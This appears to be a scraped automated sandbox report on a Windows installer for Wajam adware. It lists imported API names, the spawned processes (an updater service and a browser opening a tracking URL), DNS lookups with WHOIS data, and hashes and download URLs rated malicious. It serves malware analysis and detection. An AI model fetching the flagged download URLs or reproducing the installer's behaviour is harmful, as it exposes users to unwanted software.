GetCommandLineA

GetCurrentProcess

GetDiskFreeSpaceA

GetExitCodeProcess

GetFileAttributesA

GetFileSize

GetFullPathNameA

GetLastError

GetModuleFileNameA

GetModuleHandleA

GetPrivateProfileStringA

GetProcAddress

GetShortPathNameA

GetSystemDirectoryA

GetTempFileNameA

GetTempPathA

GetTickCount

GetVersion

GetWindowsDirectoryA

GlobalAlloc

GlobalFree

GlobalLock

GlobalUnlock

LoadLibraryA

LoadLibraryExA

lstrcatA

lstrcmpA

lstrcmpiA

lstrcpynA

lstrlenA

MoveFileA

MulDiv

MultiByteToWideChar

ReadFile

RemoveDirectoryA

SearchPathA

SetCurrentDirectoryA

SetErrorMode

SetFileAttributesA

SetFilePointer

SetFileTime

Sleep

WaitForSingleObject

WriteFile

WritePrivateProfileStringA

CoCreateInstance

CoTaskMemFree

OleInitialize

OleUninitialize

SHBrowseForFolderA

ShellExecuteA

SHFileOperationA

SHGetFileInfoA

SHGetPathFromIDListA

SHGetSpecialFolderLocation

AppendMenuA

BeginPaint

CallWindowProcA

CharNextA

CharPrevA

CheckDlgButton

CloseClipboard

CreateDialogParamA

CreatePopupMenu

CreateWindowExA

DefWindowProcA

DestroyWindow

DialogBoxParamA

DispatchMessageA

DrawTextA

EmptyClipboard

EnableMenuItem

EnableWindow

EndDialog

EndPaint

ExitWindowsEx

FillRect

FindWindowExA

GetAsyncKeyState

GetClassInfoA

GetClientRect

GetDC

GetDlgItem

GetDlgItemTextA

GetMessagePos

GetSysColor

GetSystemMenu

GetSystemMetrics

GetWindowLongA

GetWindowRect

InvalidateRect

IsDlgButtonChecked

IsWindow

IsWindowEnabled

IsWindowVisible

LoadBitmapA

LoadCursorA

LoadImageA

MessageBoxIndirectA

OpenClipboard

PeekMessageA

PostQuitMessage

RegisterClassA

ScreenToClient

SendMessageA

SendMessageTimeoutA

SetClassLongA

SetClipboardData

SetCursor

SetDlgItemTextA

SetForegroundWindow

SetTimer

SetWindowLongA

SetWindowPos

SetWindowTextA

ShowWindow

SystemParametersInfoA

TrackPopupMenu

wsprintfA

wvsprintfA

GetFileVersionInfoA

GetFileVersionInfoSizeA

VerQueryValueA

Screenshots

Loading content, please wait...

Hybrid Analysis

Tip: Click an analysed process below to view more details.

Analysed 6 processes in total (System Resource Monitor).

6a393ecb2861a27240d322dd407f6adb7218b0a5.exe (PID: 3408) 34/81
- cmd.exe /C IE_approveExt.exe {A7A6995D-6EE1-4FD1-A258-49395D5BF99C} (PID: 3880)
  - IE_approveExt.exe {A7A6995D-6EE1-4FD1-A258-49395D5BF99C} (PID: 1096) 4/78 Hash Seen Before
- iexplore.exe "http://www.wajam.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=" (PID: 2612)
  - iexplore.exe SCODEF:2612 CREDAT:275457 /prefetch:2 (PID: 4652)
- WajamUpdater.exe /Service (PID: 3708) 19/75 Hash Seen Before

Logged Script Calls	Logged Stdout	Extracted Streams	Memory Dumps
Reduced Monitoring	Network Activityy	Network Error	Multiscan Match

Network Analysis

DNS Requests

Domain

Address

Registrar

Country

ajax.googleapis.com
OSINT

Associated Artifacts for ajax.googleapis.com

Whois Field	Value
Address	1600 Amphitheatre Parkway
City	Mountain View
Country	US
Creation Date	Tue, 25 Jan 2005 00:00:00 GMT
DNSSEC	unsigned
Domain Name	GOOGLEAPIS.COM
EMail	abusecomplaints@markmonitor.com
EMail	dns-admin@google.com
Expiration Date	Thu, 25 Jan 2018 00:00:00 GMT
name	DNS Admin
Name Server	ns1.google.com
Organization	Google Inc.
Referral URL	http://www.markmonitor.com
Reigstrar	MarkMonitor, Inc.
State	CA
Status	clientDeleteProhibited https://icann.org/epp#clientDeleteProhibited
Status	clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Last Update	Sat, 24 Dec 2016 00:00:00 GMT
Last Update	Sat, 24 Dec 2016 02:29:26 GMT
Whois Server	whois.markmonitor.com
Zip Code	94043

Details	Associated SHA256	Threat Level	Positives	Scan Date	Reference
Associated SHA256 9d6c1d6da7b84244f468bc76d5016d93f63998ab72dd24fc31f896b19e49e99b Threat Level no verdict Positives - Scan Date 06/19/2019 04:41:19 Reference AlienVault	9d6c1d6da7b84244f468bc76d5016d93f63998ab72dd24fc31f896b19e49e99b	no verdict	-	06/19/2019 04:41:19	AlienVault
Associated SHA256 391d6f429d2b3c9372787a9dfcfb1a093bb8078f24125f9a26232dcaedf3980e Threat Level no verdict Positives - Scan Date 06/18/2019 17:53:41 Reference AlienVault	391d6f429d2b3c9372787a9dfcfb1a093bb8078f24125f9a26232dcaedf3980e	no verdict	-	06/18/2019 17:53:41	AlienVault
Associated SHA256 8ec4db8bccf05b30a118b0dd6938fef5b8f9910f43c6136afb43f723cd772f4a Threat Level no verdict Positives - Scan Date 06/18/2019 17:12:49 Reference AlienVault	8ec4db8bccf05b30a118b0dd6938fef5b8f9910f43c6136afb43f723cd772f4a	no verdict	-	06/18/2019 17:12:49	AlienVault
Associated SHA256 031b401468a375de14ec3e88e0a026c4e7d37c3f02a7214dfea732c8dbf71d19 Threat Level no verdict Positives - Scan Date 06/18/2019 08:05:27 Reference AlienVault	031b401468a375de14ec3e88e0a026c4e7d37c3f02a7214dfea732c8dbf71d19	no verdict	-	06/18/2019 08:05:27	AlienVault
Associated SHA256 8377607ca82d805670a754646c7418261310eee42c5eed503bfcf7e41af14b11 Threat Level no verdict Positives - Scan Date 06/18/2019 08:01:23 Reference AlienVault	8377607ca82d805670a754646c7418261310eee42c5eed503bfcf7e41af14b11	no verdict	-	06/18/2019 08:01:23	AlienVault

172.217.7.170
TTL: 3599

MarkMonitor, Inc.

United States

crl.pki.goog
OSINT

Associated Artifacts for crl.pki.goog

Details	Associated SHA256	Threat Level	Positives	Scan Date	Reference
Associated SHA256 dcff4f031b5a0026f1fc6db9ba80f05d5a5406d9e226bb87744e8a55efa739af Threat Level no verdict Positives - Scan Date 06/19/2019 02:44:37 Reference AlienVault	dcff4f031b5a0026f1fc6db9ba80f05d5a5406d9e226bb87744e8a55efa739af	no verdict	-	06/19/2019 02:44:37	AlienVault
Associated SHA256 391d6f429d2b3c9372787a9dfcfb1a093bb8078f24125f9a26232dcaedf3980e Threat Level no verdict Positives - Scan Date 06/18/2019 17:53:41 Reference AlienVault	391d6f429d2b3c9372787a9dfcfb1a093bb8078f24125f9a26232dcaedf3980e	no verdict	-	06/18/2019 17:53:41	AlienVault
Associated SHA256 7c2368ceb3e4b76308e56d03bf39c54b672b382e6ee2b9313e5e587ec3cf57b9 Threat Level no verdict Positives - Scan Date 06/18/2019 08:17:30 Reference AlienVault	7c2368ceb3e4b76308e56d03bf39c54b672b382e6ee2b9313e5e587ec3cf57b9	no verdict	-	06/18/2019 08:17:30	AlienVault
Associated SHA256 1288d52bd589ca3ba86d78e644bc5d12ac7ccb3a854a3189ee7ee929e3631391 Threat Level no verdict Positives - Scan Date 06/15/2019 15:09:23 Reference AlienVault	1288d52bd589ca3ba86d78e644bc5d12ac7ccb3a854a3189ee7ee929e3631391	no verdict	-	06/15/2019 15:09:23	AlienVault
Associated SHA256 74f196b1848f1561e3550cd273c4cba3ad8b1d84639619049cce7e0c3e8da294 Threat Level no verdict Positives - Scan Date 06/15/2019 08:20:08 Reference AlienVault	74f196b1848f1561e3550cd273c4cba3ad8b1d84639619049cce7e0c3e8da294	no verdict	-	06/15/2019 08:20:08	AlienVault

172.217.7.131
TTL: 1

United States

fonts.googleapis.com
OSINT

Associated Artifacts for fonts.googleapis.com

Whois Field	Value
Address	1600 Amphitheatre Parkway
City	Mountain View
Country	US
Creation Date	Tue, 25 Jan 2005 00:00:00 GMT
DNSSEC	unsigned
Domain Name	GOOGLEAPIS.COM
EMail	abusecomplaints@markmonitor.com
EMail	dns-admin@google.com
Expiration Date	Thu, 25 Jan 2018 00:00:00 GMT
name	DNS Admin
Name Server	ns1.google.com
Organization	Google Inc.
Referral URL	http://www.markmonitor.com
Reigstrar	MarkMonitor, Inc.
State	CA
Status	clientDeleteProhibited https://icann.org/epp#clientDeleteProhibited
Status	clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Last Update	Sat, 24 Dec 2016 00:00:00 GMT
Last Update	Sat, 24 Dec 2016 02:29:26 GMT
Whois Server	whois.markmonitor.com
Zip Code	94043

Details	Associated SHA256	Threat Level	Positives	Scan Date	Reference
Associated SHA256 9d6c1d6da7b84244f468bc76d5016d93f63998ab72dd24fc31f896b19e49e99b Threat Level no verdict Positives - Scan Date 06/19/2019 04:41:19 Reference AlienVault	9d6c1d6da7b84244f468bc76d5016d93f63998ab72dd24fc31f896b19e49e99b	no verdict	-	06/19/2019 04:41:19	AlienVault
Associated SHA256 24411691e7e56d4cc645074be287cdb2c99a20b9508aef83ad95b29d76e5eac8 Threat Level no verdict Positives - Scan Date 06/19/2019 00:42:18 Reference AlienVault	24411691e7e56d4cc645074be287cdb2c99a20b9508aef83ad95b29d76e5eac8	no verdict	-	06/19/2019 00:42:18	AlienVault
Associated SHA256 6fbb788447c4fb2b8b9708644a6c9ed02eeb9e16acce5288a2921707fda12ad4 Threat Level no verdict Positives - Scan Date 06/19/2019 00:22:53 Reference AlienVault	6fbb788447c4fb2b8b9708644a6c9ed02eeb9e16acce5288a2921707fda12ad4	no verdict	-	06/19/2019 00:22:53	AlienVault
Associated SHA256 92a812adf82dd8930a31cd8a6967c3ba4b496c749b831526888f340030cbe2e4 Threat Level no verdict Positives - Scan Date 06/18/2019 18:18:14 Reference AlienVault	92a812adf82dd8930a31cd8a6967c3ba4b496c749b831526888f340030cbe2e4	no verdict	-	06/18/2019 18:18:14	AlienVault
Associated SHA256 391d6f429d2b3c9372787a9dfcfb1a093bb8078f24125f9a26232dcaedf3980e Threat Level no verdict Positives - Scan Date 06/18/2019 17:53:41 Reference AlienVault	391d6f429d2b3c9372787a9dfcfb1a093bb8078f24125f9a26232dcaedf3980e	no verdict	-	06/18/2019 17:53:41	AlienVault

172.217.5.234
TTL: 3313

MarkMonitor, Inc.

United States

media-c9hg3zwqygdshhtrps.stackpathdns.com
OSINT

Associated Artifacts for media-c9hg3zwqygdshhtrps.stackpathdns.com

Whois Field	Value
Address	11684 Ventura Blvd., 825
City	Studio City
Country	US
Creation Date	Fri, 15 Jul 2016 00:00:00 GMT
Creation Date	Fri, 15 Jul 2016 11:46:05 GMT
DNSSEC	unsigned
Domain Name	STACKPATHDNS.COM
EMail	abusecomplaints@markmonitor.com
EMail	domains@maxcdn.com
Expiration Date	Sun, 15 Jul 2018 00:00:00 GMT
Expiration Date	Sun, 15 Jul 2018 11:46:05 GMT
name	Domain Administrator
Name Server	dns4.p05.nsone.net
Organization	NetDNA, LLC.
Referral URL	http://www.markmonitor.com
Reigstrar	MarkMonitor, Inc.
State	CA
Status	clientDeleteProhibited https://icann.org/epp#clientDeleteProhibited
Status	clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Last Update	Tue, 19 Jul 2016 00:00:00 GMT
Last Update	Thu, 25 Aug 2016 04:00:14 GMT
Whois Server	whois.markmonitor.com
Zip Code	91604

Details	Associated SHA256	Threat Level	Positives	Scan Date	Reference
Associated SHA256 40042d29c459f49c02a54b6b930684b564d56e9d70eda1c3bae4613eaeb2a4e3 Threat Level no verdict Positives - Scan Date 08/27/2017 21:46:48 Reference AlienVault	40042d29c459f49c02a54b6b930684b564d56e9d70eda1c3bae4613eaeb2a4e3	no verdict	-	08/27/2017 21:46:48	AlienVault
Associated SHA256 2955e5ac943adc0df2aa71ec9233b376c62cf2abc85afb487330e8ef5bef2239 Threat Level no verdict Positives - Scan Date 08/03/2017 11:32:24 Reference AlienVault	2955e5ac943adc0df2aa71ec9233b376c62cf2abc85afb487330e8ef5bef2239	no verdict	-	08/03/2017 11:32:24	AlienVault
Associated SHA256 248aa32d0683d6c1f435826bd1f7ee01dcdd38e9c7a971e26ca0af127040b945 Threat Level no verdict Positives - Scan Date 08/01/2017 18:11:30 Reference AlienVault	248aa32d0683d6c1f435826bd1f7ee01dcdd38e9c7a971e26ca0af127040b945	no verdict	-	08/01/2017 18:11:30	AlienVault
Associated SHA256 c73a1bd165b83a4f240b30628a36a0a7f9d9b1fda4e5ab76252c6122118704d5 Threat Level no verdict Positives - Scan Date 06/09/2017 03:02:41 Reference AlienVault	c73a1bd165b83a4f240b30628a36a0a7f9d9b1fda4e5ab76252c6122118704d5	no verdict	-	06/09/2017 03:02:41	AlienVault
Associated SHA256 1d6a69c6632a3a5cc26e4e9dff15029a39a1d680da3f355c15268b2786d8afd3 Threat Level no verdict Positives - Scan Date 05/29/2017 07:31:18 Reference AlienVault	1d6a69c6632a3a5cc26e4e9dff15029a39a1d680da3f355c15268b2786d8afd3	no verdict	-	05/29/2017 07:31:18	AlienVault

151.139.244.29
TTL: 299

MarkMonitor, Inc.

United States

ocsp.pki.goog
OSINT

Associated Artifacts for ocsp.pki.goog

Details	Associated SHA256	Threat Level	Positives	Scan Date	Reference
Associated SHA256 f6358dd0232d3caf249d71da0ef1e32d62a3372093f1ff59050712a03977b8cb Threat Level no verdict Positives - Scan Date 06/19/2019 14:54:06 Reference AlienVault	f6358dd0232d3caf249d71da0ef1e32d62a3372093f1ff59050712a03977b8cb	no verdict	-	06/19/2019 14:54:06	AlienVault
Associated SHA256 0aeedab1ed1fb3f7b97908e3ac4edcb94d9b199b372fc9b9cd5fa6e03f30d75d Threat Level no verdict Positives - Scan Date 06/19/2019 14:48:13 Reference AlienVault	0aeedab1ed1fb3f7b97908e3ac4edcb94d9b199b372fc9b9cd5fa6e03f30d75d	no verdict	-	06/19/2019 14:48:13	AlienVault
Associated SHA256 8cb021c37c0e6007437f806f1db48b11b5702c2546dd95defdd8a9939f983c7d Threat Level no verdict Positives - Scan Date 06/19/2019 14:48:02 Reference AlienVault	8cb021c37c0e6007437f806f1db48b11b5702c2546dd95defdd8a9939f983c7d	no verdict	-	06/19/2019 14:48:02	AlienVault
Associated SHA256 509c29073bfc5e86ec245a69e611953531151005cc0fe651e8ecee50c377311d Threat Level no verdict Positives - Scan Date 06/19/2019 14:36:29 Reference AlienVault	509c29073bfc5e86ec245a69e611953531151005cc0fe651e8ecee50c377311d	no verdict	-	06/19/2019 14:36:29	AlienVault
Associated SHA256 de333ed146fb0f1caa7c41d06cbe0cc3dcd4bf3be3573ad8ee3edf94772e0aad Threat Level no verdict Positives - Scan Date 06/19/2019 13:34:40 Reference AlienVault	de333ed146fb0f1caa7c41d06cbe0cc3dcd4bf3be3573ad8ee3edf94772e0aad	no verdict	-	06/19/2019 13:34:40	AlienVault

172.217.7.131
TTL: 297

United States

platform.twitter.com
OSINT

Associated Artifacts for platform.twitter.com

Whois Field	Value
Address	1355 Market Street
City	San Francisco
Country	US
Creation Date	Fri, 21 Jan 2000 00:00:00 GMT
Creation Date	Fri, 21 Jan 2000 16:28:17 GMT
DNSSEC	unsigned
Domain Name	TWITTER.COM
EMail	domainabuse@cscglobal.com
EMail	domains@twitter.com
Expiration Date	Tue, 21 Jan 2020 00:00:00 GMT
Expiration Date	Tue, 21 Jan 2020 16:28:17 GMT
Name Server	NS4.P34.DYNECT.NET
Organization	Twitter, Inc.
Referral URL	http://www.cscglobal.com/global/web/csc/digital-brand-services.html
Reigstrar	CSC CORPORATE DOMAINS, INC.
State	CA
Status	clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Status	serverDeleteProhibited https://icann.org/epp#serverDeleteProhibited
Last Update	Tue, 08 Nov 2016 00:00:00 GMT
Last Update	Tue, 08 Nov 2016 05:07:31 GMT
Whois Server	whois.corporatedomains.com
Zip Code	94103

Details	Associated SHA256	Threat Level	Positives	Scan Date	Reference
Associated SHA256 4fde0ef98e790ec50a72f4277c88c3bed1c93fc4d8b81ac0d81aa32943a264a6 Threat Level no verdict Positives - Scan Date 06/18/2019 21:53:12 Reference AlienVault	4fde0ef98e790ec50a72f4277c88c3bed1c93fc4d8b81ac0d81aa32943a264a6	no verdict	-	06/18/2019 21:53:12	AlienVault
Associated SHA256 19ff61db918e59df80acc1bdd44580b7c559d4a99b3535dfa9a8137ab6dff7bc Threat Level no verdict Positives - Scan Date 06/17/2019 19:17:38 Reference AlienVault	19ff61db918e59df80acc1bdd44580b7c559d4a99b3535dfa9a8137ab6dff7bc	no verdict	-	06/17/2019 19:17:38	AlienVault
Associated SHA256 5184b174cd09596c1984fb54fa4d6b60a9522073f8b1e840f1fd7003bc24c155 Threat Level no verdict Positives - Scan Date 06/17/2019 19:17:27 Reference AlienVault	5184b174cd09596c1984fb54fa4d6b60a9522073f8b1e840f1fd7003bc24c155	no verdict	-	06/17/2019 19:17:27	AlienVault
Associated SHA256 da1df1312a2a5fee03d7ab793fd5b5f3e9d6b4f8c93342801b5b5d558eb7330e Threat Level no verdict Positives - Scan Date 06/17/2019 09:22:46 Reference AlienVault	da1df1312a2a5fee03d7ab793fd5b5f3e9d6b4f8c93342801b5b5d558eb7330e	no verdict	-	06/17/2019 09:22:46	AlienVault
Associated SHA256 3b3154a0078b3c36a7595469b1cbd7c1f64f95a08cb43f75b25110ad135df36f Threat Level no verdict Positives - Scan Date 06/14/2019 12:57:05 Reference AlienVault	3b3154a0078b3c36a7595469b1cbd7c1f64f95a08cb43f75b25110ad135df36f	no verdict	-	06/14/2019 12:57:05	AlienVault

192.229.163.25
TTL: 20

CSC CORPORATE DOMAINS, INC.

United States

stats.g.doubleclick.net
OSINT

Associated Artifacts for stats.g.doubleclick.net

Whois Field	Value
Address	1600 Amphitheatre Parkway
City	Mountain View
Country	US
Creation Date	Tue, 16 Jan 1996 00:00:00 GMT
Creation Date	Mon, 15 Jan 1996 21:00:00 GMT
DNSSEC	unsigned
Domain Name	DOUBLECLICK.NET
EMail	abusecomplaints@markmonitor.com
EMail	dns-admin@google.com
Expiration Date	Wed, 17 Jan 2018 00:00:00 GMT
Expiration Date	Tue, 16 Jan 2018 21:00:00 GMT
name	DNS Admin
Name Server	NS2.GOOGLE.COM
Organization	Google Inc.
Referral URL	http://www.markmonitor.com
Reigstrar	MarkMonitor, Inc.
State	CA
Status	clientDeleteProhibited https://icann.org/epp#clientDeleteProhibited
Status	clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Last Update	Thu, 27 Feb 2014 00:00:00 GMT
Last Update	Tue, 28 Oct 2014 12:38:28 GMT
Whois Server	whois.markmonitor.com
Zip Code	94043

Details	Associated SHA256	Threat Level	Positives	Scan Date	Reference
Associated SHA256 24411691e7e56d4cc645074be287cdb2c99a20b9508aef83ad95b29d76e5eac8 Threat Level no verdict Positives - Scan Date 06/19/2019 00:42:18 Reference AlienVault	24411691e7e56d4cc645074be287cdb2c99a20b9508aef83ad95b29d76e5eac8	no verdict	-	06/19/2019 00:42:18	AlienVault
Associated SHA256 6fbb788447c4fb2b8b9708644a6c9ed02eeb9e16acce5288a2921707fda12ad4 Threat Level no verdict Positives - Scan Date 06/19/2019 00:22:53 Reference AlienVault	6fbb788447c4fb2b8b9708644a6c9ed02eeb9e16acce5288a2921707fda12ad4	no verdict	-	06/19/2019 00:22:53	AlienVault
Associated SHA256 391d6f429d2b3c9372787a9dfcfb1a093bb8078f24125f9a26232dcaedf3980e Threat Level no verdict Positives - Scan Date 06/18/2019 17:53:41 Reference AlienVault	391d6f429d2b3c9372787a9dfcfb1a093bb8078f24125f9a26232dcaedf3980e	no verdict	-	06/18/2019 17:53:41	AlienVault
Associated SHA256 8ec4db8bccf05b30a118b0dd6938fef5b8f9910f43c6136afb43f723cd772f4a Threat Level no verdict Positives - Scan Date 06/18/2019 17:12:49 Reference AlienVault	8ec4db8bccf05b30a118b0dd6938fef5b8f9910f43c6136afb43f723cd772f4a	no verdict	-	06/18/2019 17:12:49	AlienVault
Associated SHA256 5d0f9d0b1b49dee6fcc74d993941d8f023d3ef3b9ab6f65f23b3f4d4097c07ee Threat Level no verdict Positives - Scan Date 06/17/2019 23:43:50 Reference AlienVault	5d0f9d0b1b49dee6fcc74d993941d8f023d3ef3b9ab6f65f23b3f4d4097c07ee	no verdict	-	06/17/2019 23:43:50	AlienVault

172.217.195.155
TTL: 21599

MarkMonitor, Inc.

United States

syndication.twitter.com
OSINT

Associated Artifacts for syndication.twitter.com

Whois Field	Value
Address	1355 Market Street
City	San Francisco
Country	US
Creation Date	Fri, 21 Jan 2000 00:00:00 GMT
Creation Date	Fri, 21 Jan 2000 16:28:17 GMT
DNSSEC	unsigned
Domain Name	TWITTER.COM
EMail	domainabuse@cscglobal.com
EMail	domains@twitter.com
Expiration Date	Tue, 21 Jan 2020 00:00:00 GMT
Expiration Date	Tue, 21 Jan 2020 16:28:17 GMT
Name Server	NS4.P34.DYNECT.NET
Organization	Twitter, Inc.
Referral URL	http://www.cscglobal.com/global/web/csc/digital-brand-services.html
Reigstrar	CSC CORPORATE DOMAINS, INC.
State	CA
Status	clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Status	serverDeleteProhibited https://icann.org/epp#serverDeleteProhibited
Last Update	Tue, 08 Nov 2016 00:00:00 GMT
Last Update	Tue, 08 Nov 2016 05:07:31 GMT
Whois Server	whois.corporatedomains.com
Zip Code	94103

Details	Associated SHA256	Threat Level	Positives	Scan Date	Reference
Associated SHA256 2119be10e2d9a6fd30c6b11ff0e2d35467cc87f5882ef277bc5282b33a1d0bc1 Threat Level no verdict Positives - Scan Date 09/03/2018 06:26:37 Reference AlienVault	2119be10e2d9a6fd30c6b11ff0e2d35467cc87f5882ef277bc5282b33a1d0bc1	no verdict	-	09/03/2018 06:26:37	AlienVault
Associated SHA256 befe1bdcac304c92319d4ee6d924c9c44499f9804c813fe1450ff1566cacb1b4 Threat Level no verdict Positives - Scan Date 04/10/2016 00:14:55 Reference AlienVault	befe1bdcac304c92319d4ee6d924c9c44499f9804c813fe1450ff1566cacb1b4	no verdict	-	04/10/2016 00:14:55	AlienVault
Associated SHA256 e72b494b90ce918acaa64f9f41b45ddab668f5a2e4010de0eab1fc3845a1393e Threat Level no verdict Positives - Scan Date 06/07/2015 21:42:16 Reference AlienVault	e72b494b90ce918acaa64f9f41b45ddab668f5a2e4010de0eab1fc3845a1393e	no verdict	-	06/07/2015 21:42:16	AlienVault

104.244.42.8
TTL: 689

CSC CORPORATE DOMAINS, INC.

United States

www.wajam.com
OSINT

Associated Artifacts for www.wajam.com

Whois Field	Value
Address	2320 NE 9th St, Second Floor
City	Fort Lauderdale
Country	US
Creation Date	Thu, 09 Aug 2007 00:00:00 GMT
Creation Date	Thu, 09 Aug 2007 04:58:12 GMT
DNSSEC	unsigned
Domain Name	WAJAM.COM
EMail	abuse@moniker.com
EMail	547a3636b958848e39adb305b8fd1d492289d8344ba0a2be0480d4de71e33968@wajam.com.whoisproxy.org
Expiration Date	Wed, 09 Aug 2017 00:00:00 GMT
Expiration Date	Wed, 09 Aug 2017 04:58:12 GMT
Name Server	NS10.DNSMADEEASY.COM
Name Server	ns13.dnsmadeeasy.com
Organization	Moniker Privacy Services
Referral URL	http://www.moniker.com
Reigstrar	Moniker Online Services LLC
State	FL
Status	clientDeleteProhibited https://icann.org/epp#clientDeleteProhibited
Status	clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Last Update	Fri, 29 Jul 2016 00:00:00 GMT
Last Update	Fri, 29 Jul 2016 02:04:01 GMT
Whois Server	whois.moniker.com
Zip Code	33304

Details	Associated SHA256	Threat Level	Positives	Scan Date	Reference
Associated SHA256 f2e91971ff5dae842a773332d8991d66d3824deda2d15d4fe09756f86b3ec740 Threat Level no verdict Positives - Scan Date 06/05/2019 12:52:28 Reference AlienVault	f2e91971ff5dae842a773332d8991d66d3824deda2d15d4fe09756f86b3ec740	no verdict	-	06/05/2019 12:52:28	AlienVault
Associated SHA256 f667fb0f7526725d297dfcaf3b1afbed7120b45da09b09ea79d0d5cdfe1d36d9 Threat Level no verdict Positives - Scan Date 02/05/2018 07:09:11 Reference AlienVault	f667fb0f7526725d297dfcaf3b1afbed7120b45da09b09ea79d0d5cdfe1d36d9	no verdict	-	02/05/2018 07:09:11	AlienVault
Associated SHA256 14eda8d194c6d416eb5fbc74485f44d4865538f57c00909b0575f260d6f0e6f7 Threat Level no verdict Positives - Scan Date 09/16/2017 19:01:30 Reference AlienVault	14eda8d194c6d416eb5fbc74485f44d4865538f57c00909b0575f260d6f0e6f7	no verdict	-	09/16/2017 19:01:30	AlienVault
Associated SHA256 83ce8825657eff413793de9880e23e1ad7c0346a154ec9238eb08126caf3c4ee Threat Level no verdict Positives - Scan Date 08/26/2017 17:35:06 Reference AlienVault	83ce8825657eff413793de9880e23e1ad7c0346a154ec9238eb08126caf3c4ee	no verdict	-	08/26/2017 17:35:06	AlienVault
Associated SHA256 619b695531fa9436ec8aab8d3e2886989840513a0077246f3180dd51ab364b3d Threat Level no verdict Positives - Scan Date 05/22/2017 07:45:53 Reference AlienVault	619b695531fa9436ec8aab8d3e2886989840513a0077246f3180dd51ab364b3d	no verdict	-	05/22/2017 07:45:53	AlienVault

5.135.138.118
TTL: 20695

Moniker Online Services LLC
Organization: Moniker Privacy Services
Name Server: NS10.DNSMADEEASY.COM
Creation Date: Thu, 09 Aug 2007 00:00:00 GMT

France

Contacted Hosts

IP Address

Port/Protocol

Associated Process

Details

5.135.138.118

Associated Artifacts for 5.135.138.118

Details	Associated URL	Threat Level	Positives	Scan Date	Reference
Associated URL http://wajam.com/download/ Threat Level malicious Positives 3/70 Scan Date 06/19/2019 10:41:15 Reference -	http://wajam.com/download/	malicious	3/70	06/19/2019 10:41:15	-
Associated URL http://www.wajam.com/download/ Threat Level malicious Positives 2/70 Scan Date 06/19/2019 07:39:25 Reference -	http://www.wajam.com/download/	malicious	2/70	06/19/2019 07:39:25	-
Associated URL http://wajam.com/download/wajam_download.exe Threat Level malicious Positives 2/70 Scan Date 06/19/2019 05:30:35 Reference -	http://wajam.com/download/wajam_download.exe	malicious	2/70	06/19/2019 05:30:35	-
Associated URL http://socialwebsearch.co/download/ Threat Level malicious Positives 4/70 Scan Date 06/16/2019 07:13:17 Reference -	http://socialwebsearch.co/download/	malicious	4/70	06/16/2019 07:13:17	-
Associated URL http://www.socialwebsearch.co/download/ Threat Level malicious Positives 3/70 Scan Date 06/13/2019 23:51:25 Reference -	http://www.socialwebsearch.co/download/	malicious	3/70	06/13/2019 23:51:25	-

Details	Associated SHA256	Threat Level	Positives	Scan Date	Reference
Associated SHA256 8a482f2271a42c5f54c96e816a84340a6f2357a5b81f927d07d00788f5140a41 Threat Level suspicious Positives 1/65 Scan Date 06/19/2019 04:45:51 Reference VirusTotal	8a482f2271a42c5f54c96e816a84340a6f2357a5b81f927d07d00788f5140a41	suspicious	1/65	06/19/2019 04:45:51	VirusTotal
Associated SHA256 81cf1f2d60ed081b06e45d860abc1d5b7dd664b77b7193e04cbb014fc92dbb68 Threat Level malicious Positives 43/70 Scan Date 06/12/2019 04:34:14 Reference VirusTotal	81cf1f2d60ed081b06e45d860abc1d5b7dd664b77b7193e04cbb014fc92dbb68	malicious	43/70	06/12/2019 04:34:14	VirusTotal
Associated SHA256 176f53f07b3b159a8b2dde4edb7e08287ef24705777cf1b12ca9616426ad7ad5 Threat Level malicious Positives 36/71 Scan Date 06/07/2019 07:47:59 Reference VirusTotal	176f53f07b3b159a8b2dde4edb7e08287ef24705777cf1b12ca9616426ad7ad5	malicious	36/71	06/07/2019 07:47:59	VirusTotal
Associated SHA256 7fd04a40bd34855aedf36175ee99d89d62b5b25df2d4cd675dea3c3d843961e1 Threat Level malicious Positives 26/71 Scan Date 04/23/2019 13:53:27 Reference VirusTotal	7fd04a40bd34855aedf36175ee99d89d62b5b25df2d4cd675dea3c3d843961e1	malicious	26/71	04/23/2019 13:53:27	VirusTotal
Associated SHA256 974b45be66f78467e52322f6786927e41fd6f8482e52e445c8d5c093b9729f13 Threat Level malicious Positives 39/70 Scan Date 02/03/2019 09:17:36 Reference VirusTotal	974b45be66f78467e52322f6786927e41fd6f8482e52e445c8d5c093b9729f13	malicious	39/70	02/03/2019 09:17:36	VirusTotal
Associated SHA256 e2d5dda7c3d1d0feba79933c1826561f8a83df57babc3705a353e426fb68d06c Threat Level no verdict Positives - Scan Date 01/07/2019 00:30:10 Reference AlienVault	e2d5dda7c3d1d0feba79933c1826561f8a83df57babc3705a353e426fb68d06c	no verdict	-	01/07/2019 00:30:10	AlienVault
Associated SHA256 0db73d0db95424df4a6817f18f075090bd475e3bae3c6d48d17d7e29e590219b Threat Level no verdict Positives - Scan Date 02/21/2015 01:21:35 Reference AlienVault	0db73d0db95424df4a6817f18f075090bd475e3bae3c6d48d17d7e29e590219b	no verdict	-	02/21/2015 01:21:35	AlienVault
Associated SHA256 38bdd91490fddbbe9cbc65949f432a3cdb7f00142ba340e08a79ff5af775687e Threat Level no verdict Positives - Scan Date 02/10/2015 18:59:29 Reference AlienVault	38bdd91490fddbbe9cbc65949f432a3cdb7f00142ba340e08a79ff5af775687e	no verdict	-	02/10/2015 18:59:29	AlienVault

Details	Domain	Threat Level	Positives	Last Resolved	Reference
Domain socialwebsearch.co Threat Level - Positives - Last Resolved 06/19/2019 07:47:21 VirusTotal Report	socialwebsearch.co	-	-	06/19/2019 07:47:21	Report
Domain wajam.com Threat Level - Positives - Last Resolved 06/19/2019 05:30:39 VirusTotal Report	wajam.com	-	-	06/19/2019 05:30:39	Report
Domain www.socialwebsearch.co Threat Level - Positives - Last Resolved 06/19/2019 00:45:42 VirusTotal Report	www.socialwebsearch.co	-	-	06/19/2019 00:45:42	Report
Domain www.wajam.com Threat Level - Positives - Last Resolved 06/19/2019 07:47:23 VirusTotal Report	www.wajam.com	-	-	06/19/2019 07:47:23	Report
